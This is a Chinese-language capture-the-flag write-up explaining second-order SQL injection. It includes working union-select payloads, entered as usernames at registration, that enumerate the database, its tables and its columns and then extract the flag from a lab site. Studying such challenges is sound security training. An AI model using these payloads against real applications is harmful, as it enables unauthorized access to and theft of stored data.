October 2019 Twice SQL injection
知识点:
二次注入:
当用户提交的恶意数据被存入数据库后,应用程序再把它读取出来用于生成新的SQL语句时,如果没有相应的安全措施,是有可能发生SQL注入的,这种注入就叫做二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,网站对我们输入的恶意语句中的一些重要的关键字进行了转义,使恶意的sql注入无法执行(比如说将单引号转义,使其无法闭合),在写入数据库的时候又保留了原来的数据,被还原成转义之前的语句。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
题目内容:
存在两个注入点,注册和改info
1、可以注册新用户
题目解析:
1.注册一个用户名为:1'的用户,然后登录后在info页面发现没有数据,相当于报错。
再注册一个用户名为:1的用户,然后登录后在info页面发现有数据
猜测可能是单引号闭合。
2.二次注入
二次注入是一次注入通过两次操作实现,注册和登陆。
-
注册恶意用户名
-
登陆, 在登陆过程中,肯定要将我们输入的数据和数据库进行比对,而在这个
查询数据库中的用户名进行比对的这个过程中,会执行我们插入数据库的用户名(也就是恶意sql注入语句)
在info界面得到结果。
重新注册账号为admin' union select database()#,密码123(此处此方法无用,账号必须是数字,)
注册账号为1' union select database()#,密码为123
重新登录,发现显示database()数据库名为ctftraining
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
同上注册,登陆,得flag
1' union select flag from flag #
or
1' union select group_concat(flag) from ctftraining.flag #
注:
转义字符 / 加在‘ “ #)前面的。
step 1:admin/'/# 存在于网站给数据库服务器发送请求的时候存在
step2:但是存入数据库的时候他不存在了存储的是 admin'#
参考链接:https://blog.csdn.net/weixin_44940180/article/details/107859557
参考链接:https://blog.csdn.net/AAAAAAAAAAAA66/article/details/122059073